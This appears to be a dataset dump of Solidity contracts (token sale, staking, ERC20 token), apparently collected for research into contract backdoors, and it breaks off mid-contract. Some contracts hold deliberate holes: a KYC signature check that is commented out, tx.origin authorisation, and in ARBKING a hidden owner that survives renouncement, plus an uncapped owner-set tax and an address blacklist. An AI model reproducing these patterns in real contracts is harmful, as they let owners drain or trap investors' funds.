return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
// transfers will be disabled during the crowdfunding phase - unless on the whitelist
require(transfersEnabled || whitelist(_from), "INXToken transfers disabled");
require(!founders[_from] || founderTokensLockedUntil < block.timestamp || _to == investxPlatform,
"INXToken locked for founders for arbitrary time unless sending to investx platform");
return super.transferFrom(_from, _to, _value);
}
}
| 143,676 | 305 |
898c0422ca723e6d7e7da20fa3b001cbf254d3474bd767de3c8a2dbf1229a03b
| 15,073 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x94e332cc102a02bad6ce2e644ab88f6025bc643f.sol
| 3,473 | 12,910 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract rateInterface {
function readRate(string _currency) public view returns (uint256 oneEtherValue);
}
contract ICOEngineInterface {
function started() public view returns(bool);
function ended() public view returns(bool);
// time stamp of the starting time of the ico, must return 0 if it depends on the block number
function startTime() public view returns(uint);
// time stamp of the ending time of the ico, must retrun 0 if it depends on the block number
function endTime() public view returns(uint);
// Optional function, can be implemented in place of startTime
// Returns the starting block number of the ico, must return 0 if it depends on the time stamp
// function startBlock() public view returns(uint);
// Optional function, can be implemented in place of endTime
// Returns theending block number of the ico, must retrun 0 if it depends on the time stamp
// function endBlock() public view returns(uint);
function totalTokens() public view returns(uint);
function remainingTokens() public view returns(uint);
// return the price as number of tokens released for each ether
function price() public view returns(uint);
}
contract KYCBase {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (uint64 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount);
function KYCBase(address [] kycSigners) internal {
for (uint i = 0; i < kycSigners.length; i++) {
isKycSigner[kycSigners[i]] = true;
}
}
function releaseTokensTo(address buyer) internal returns(bool);
// This method can be overridden to enable some sender to buy token for a different address
function senderAllowedFor(address buyer)
internal view returns(bool)
{
return buyer == msg.sender;
}
function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
require(senderAllowedFor(buyerAddress));
return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s);
}
function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
private returns (bool)
{
// check the signature
bytes32 hash = sha256("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount);
address signer = ecrecover(hash, v, r, s);
//if (!isKycSigner[signer]) {
// revert();
//} else {
uint256 totalPayed = alreadyPayed[buyerId].add(msg.value);
require(totalPayed <= maxAmount);
alreadyPayed[buyerId] = totalPayed;
emit KycVerified(signer, buyerAddress, buyerId, maxAmount);
return releaseTokensTo(buyerAddress);
//}
}
}
contract RC is ICOEngineInterface, KYCBase {
using SafeMath for uint256;
TokenSale tokenSaleContract;
uint256 public startTime;
uint256 public endTime;
uint256 public soldTokens;
uint256 public remainingTokens;
uint256 public oneTokenInUsdWei;
mapping(address => uint256) public balanceUser; // address => token amount
uint256[] public tokenThreshold; // array of token threshold reached in wei of token
uint256[] public bonusThreshold; // array of bonus of each tokenThreshold reached - 20% = 20
function RC(address _tokenSaleContract, uint256 _oneTokenInUsdWei, uint256 _remainingTokens, uint256 _startTime , uint256 _endTime, address [] kycSigner, uint256[] _tokenThreshold, uint256[] _bonusThreshold) public KYCBase(kycSigner) {
require (_tokenSaleContract != 0);
require (_oneTokenInUsdWei != 0);
require(_remainingTokens != 0);
require (_tokenThreshold.length != 0);
require (_tokenThreshold.length == _bonusThreshold.length);
bonusThreshold = _bonusThreshold;
tokenThreshold = _tokenThreshold;
tokenSaleContract = TokenSale(_tokenSaleContract);
tokenSaleContract.addMeByRC();
soldTokens = 0;
remainingTokens = _remainingTokens;
oneTokenInUsdWei = _oneTokenInUsdWei;
setTimeRC(_startTime, _endTime);
}
function setTimeRC(uint256 _startTime, uint256 _endTime) internal {
if(_startTime == 0) {
startTime = tokenSaleContract.startTime();
} else {
startTime = _startTime;
}
if(_endTime == 0) {
endTime = tokenSaleContract.endTime();
} else {
endTime = _endTime;
}
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner());
_;
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner {
if (_newStart != 0) startTime = _newStart;
if (_newEnd != 0) endTime = _newEnd;
}
event BuyRC(address indexed buyer, bytes trackID, uint256 value, uint256 soldToken, uint256 valueTokenInUsdWei);
function releaseTokensTo(address buyer) internal returns(bool) {
require(now > startTime);
require(now < endTime);
//require(msg.value >= 1*10**18); //1 Ether
require(remainingTokens > 0);
uint256 tokenAmount = tokenSaleContract.buyFromRC.value(msg.value)(buyer, oneTokenInUsdWei, remainingTokens);
balanceUser[msg.sender] = balanceUser[msg.sender].add(tokenAmount);
remainingTokens = remainingTokens.sub(tokenAmount);
soldTokens = soldTokens.add(tokenAmount);
emit BuyRC(msg.sender, msg.data, msg.value, tokenAmount, oneTokenInUsdWei);
return true;
}
function started() public view returns(bool) {
return now > startTime || remainingTokens == 0;
}
function ended() public view returns(bool) {
return now > endTime || remainingTokens == 0;
}
function startTime() public view returns(uint) {
return startTime;
}
function endTime() public view returns(uint) {
return endTime;
}
function totalTokens() public view returns(uint) {
return remainingTokens.add(soldTokens);
}
function remainingTokens() public view returns(uint) {
return remainingTokens;
}
function price() public view returns(uint) {
uint256 oneEther = 10**18;
return oneEther.mul(10**18).div(tokenSaleContract.tokenValueInEther(oneTokenInUsdWei));
}
function () public {
require(now > endTime);
require(balanceUser[msg.sender] > 0);
uint256 bonusApplied = 0;
for (uint i = 0; i < tokenThreshold.length; i++) {
if (soldTokens > tokenThreshold[i]) {
bonusApplied = bonusThreshold[i];
}
}
require(bonusApplied > 0);
uint256 addTokenAmount = balanceUser[msg.sender].mul(bonusApplied).div(10**2);
balanceUser[msg.sender] = 0;
tokenSaleContract.claim(msg.sender, addTokenAmount);
}
}
contract TokenSale is Ownable {
using SafeMath for uint256;
tokenInterface public tokenContract;
rateInterface public rateContract;
address public wallet;
address public advisor;
uint256 public advisorFee; // 1 = 0,1%
uint256 public constant decimals = 18;
uint256 public endTime; // seconds from 1970-01-01T00:00:00Z
uint256 public startTime; // seconds from 1970-01-01T00:00:00Z
mapping(address => bool) public rc;
function TokenSale(address _tokenAddress, address _rateAddress, uint256 _startTime, uint256 _endTime) public {
tokenContract = tokenInterface(_tokenAddress);
rateContract = rateInterface(_rateAddress);
setTime(_startTime, _endTime);
wallet = msg.sender;
advisor = msg.sender;
advisorFee = 0 * 10**3;
}
function tokenValueInEther(uint256 _oneTokenInUsdWei) public view returns(uint256 tknValue) {
uint256 oneEtherInUsd = rateContract.readRate("usd");
tknValue = _oneTokenInUsdWei.mul(10 ** uint256(decimals)).div(oneEtherInUsd);
return tknValue;
}
modifier isBuyable() {
require(now > startTime); // check if started
require(now < endTime); // check if ended
require(msg.value > 0);
uint256 remainingTokens = tokenContract.balanceOf(this);
require(remainingTokens > 0); // Check if there are any remaining tokens
_;
}
event Buy(address buyer, uint256 value, address indexed ambassador);
modifier onlyRC() {
require(rc[msg.sender]); //check if is an authorized rcContract
_;
}
function buyFromRC(address _buyer, uint256 _rcTokenValue, uint256 _remainingTokens) onlyRC isBuyable public payable returns(uint256) {
uint256 oneToken = 10 ** uint256(decimals);
uint256 tokenValue = tokenValueInEther(_rcTokenValue);
uint256 tokenAmount = msg.value.mul(oneToken).div(tokenValue);
address _ambassador = msg.sender;
uint256 remainingTokens = tokenContract.balanceOf(this);
if (_remainingTokens < remainingTokens) {
remainingTokens = _remainingTokens;
}
if (remainingTokens < tokenAmount) {
uint256 refund = (tokenAmount - remainingTokens).mul(tokenValue).div(oneToken);
tokenAmount = remainingTokens;
forward(msg.value-refund);
remainingTokens = 0; // set remaining token to 0
_buyer.transfer(refund);
} else {
remainingTokens = remainingTokens.sub(tokenAmount); // update remaining token without bonus
forward(msg.value);
}
tokenContract.transfer(_buyer, tokenAmount);
emit Buy(_buyer, tokenAmount, _ambassador);
return tokenAmount;
}
function forward(uint256 _amount) internal {
uint256 advisorAmount = _amount.mul(advisorFee).div(10**3);
uint256 walletAmount = _amount - advisorAmount;
advisor.transfer(advisorAmount);
wallet.transfer(walletAmount);
}
event NewRC(address contr);
function addMeByRC() public {
require(tx.origin == owner);
rc[ msg.sender ] = true;
emit NewRC(msg.sender);
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyOwner {
if (_newStart != 0) startTime = _newStart;
if (_newEnd != 0) endTime = _newEnd;
}
function withdraw(address to, uint256 value) public onlyOwner {
to.transfer(value);
}
function withdrawTokens(address to, uint256 value) public onlyOwner returns (bool) {
return tokenContract.transfer(to, value);
}
function setTokenContract(address _tokenContract) public onlyOwner {
tokenContract = tokenInterface(_tokenContract);
}
function setWalletAddress(address _wallet) public onlyOwner {
wallet = _wallet;
}
function setAdvisorAddress(address _advisor) public onlyOwner {
advisor = _advisor;
}
function setAdvisorFee(uint256 _advisorFee) public onlyOwner {
advisorFee = _advisorFee;
}
function setRateContract(address _rateAddress) public onlyOwner {
rateContract = rateInterface(_rateAddress);
}
function claim(address _buyer, uint256 _amount) onlyRC public returns(bool) {
return tokenContract.transfer(_buyer, _amount);
}
function () public payable {
revert();
}
}
| 140,705 | 306 |
74d8bdc31a356d05b5c8764519b01abbdb46730bdf23ee8bad3fe9854c909d98
| 13,241 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/a0/a0A138af08F992c75ad1FE4a9C3537531A338aC7_ShinobiVerseStaking.sol
| 3,268 | 12,511 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeBEP20 {
using Address for address;
function safeTransfer(IBEP20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token,
address spender,
uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
contract Context {
constructor() {}
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
contract ShinobiVerseStaking is Ownable, ReentrancyGuard {
using SafeBEP20 for IBEP20;
using Address for address;
struct UserInfo {
uint256 amount;
uint256 lastDepositTime;
}
struct PoolInfo{
uint256 APR;
uint256 startEpoch;
uint256 lockPeriod;
uint256 depositFee;
uint256 withdrawFee;
uint256 emergencyWithdrawFee;
bool isOpen;
}
IBEP20 SHINO;
PoolInfo[] public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
uint256 minAmount = 100_000 * (10 ** 9);
uint256 maxAmount = 900_000_000 * (10 ** 9);
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
event DepositFee(address indexed user, uint256 amount);
event WithdrawFee(address indexed user, uint256 amount);
event EmergencyWithdrawFee(address indexed user, uint256 amount);
constructor(IBEP20 _SHINO) {
SHINO = _SHINO;
}
function addPool(PoolInfo memory pool) external onlyOwner{
poolInfo.push(pool);
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function pendingReward(uint256 _pid,address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 lockedTime = block.timestamp > user.lastDepositTime + pool.lockPeriod ? pool.lockPeriod : block.timestamp - user.lastDepositTime;
uint256 reward = (((user.amount * pool.APR) / 10_000) * lockedTime) / pool.lockPeriod;
return reward;
}
function deposit(uint256 _pid,uint256 _amount) public nonReentrant{
require (_amount > 0, 'amount 0');
UserInfo storage user = userInfo[_pid][msg.sender];
PoolInfo storage pool = poolInfo[_pid];
require(pool.isOpen,'pool is closed');
require(pool.startEpoch < block.timestamp,'pool has not started yet');
require(user.amount == 0,"cannot restake");
require(_amount >= minAmount && _amount <= maxAmount,'amount out of limits');
SHINO.safeTransferFrom(address(msg.sender), address(this), _amount);
if(pool.depositFee>0){
emit DepositFee(address(msg.sender),(_amount * pool.depositFee) / 10_000);
_amount -= (_amount * pool.depositFee) / 10_000;
}
user.amount = user.amount + _amount;
user.lastDepositTime = block.timestamp;
emit Deposit(msg.sender, _amount);
}
function canWithdraw(uint256 _pid, address _user) public view returns (bool) {
return (withdrawCountdown(_pid,_user)==0);
}
function withdrawCountdown(uint256 _pid, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
if ((block.timestamp < user.lastDepositTime + pool.lockPeriod)){
return user.lastDepositTime + pool.lockPeriod - block.timestamp;
}else{
return 0;
}
}
function withdraw(uint256 _pid) public nonReentrant{
require(canWithdraw(_pid,msg.sender),'cannot withdraw yet');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
require (_amount > 0, 'amount 0');
if(pool.withdrawFee>0){
emit WithdrawFee(address(msg.sender), (_amount * pool.withdrawFee) / 10_000);
_amount -= (_amount * pool.withdrawFee) / 10_000;
}
_amount += pendingReward(_pid, msg.sender);
user.amount=0;
SHINO.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _amount);
}
function emergencyWithdraw(uint256 _pid) public nonReentrant{
require(!canWithdraw(_pid,msg.sender),'Use normal withdraw instead');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount > 0,'amount 0');
uint256 _amount=user.amount;
user.amount = 0;
if(pool.emergencyWithdrawFee>0){
emit EmergencyWithdrawFee(address(msg.sender), (_amount * pool.emergencyWithdrawFee) / 10_000);
_amount -= (_amount * pool.emergencyWithdrawFee) / 10_000;
}
SHINO.safeTransfer(address(msg.sender), _amount);
emit EmergencyWithdraw(msg.sender, _amount);
}
function setFees(uint256 _pid,uint depFee,uint emFee,uint wFee) external onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
require(depFee <= 500, "DeposiFee should be < 5");
require(wFee <= 500, "WithdrawFee should be < 5");
require(emFee <= 3000, "EmergencyWithdrawFee should be <= 30");
pool.depositFee = depFee;
pool.withdrawFee = wFee;
pool.emergencyWithdrawFee = emFee;
}
function poolStatus(uint256 _pid,bool _isOpen) external onlyOwner{
PoolInfo storage pool = poolInfo[_pid];
pool.isOpen = _isOpen;
}
function setMinAndMaxStakeAmounts(uint256 _min, uint256 _max) external onlyOwner {
minAmount = _min;
maxAmount = _max;
}
function recoverTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner {
IBEP20(_tokenAddress).safeTransfer(address(msg.sender), _tokenAmount);
}
}
| 119,208 | 307 |
e04978ad5dd7a6a8e0c49f1297625c38fcbfbd74cef9aafd796ea610d7c6b9f6
| 13,778 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/49/490093ec66b2bb54e369ed2e4a54f415806b48bb_ARBKING.sol
| 3,678 | 13,228 |
pragma solidity 0.8.9;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private o;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
o = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(o == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ARBKING is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _standardTax;
address payable private _feeAddrWallet;
string private constant _name = unicode"ARB KING";
string private constant _symbol = unicode"KING";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal.mul(2).div(100);
uint256 private _maxWalletSize = _tTotal.mul(2).div(100);
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
_standardTax=0;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
_feeAddr1 = 0;
_feeAddr2 = _standardTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}else{
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function setStandardTax(uint256 newTax) external onlyOwner{
_standardTax=newTax;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addbot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
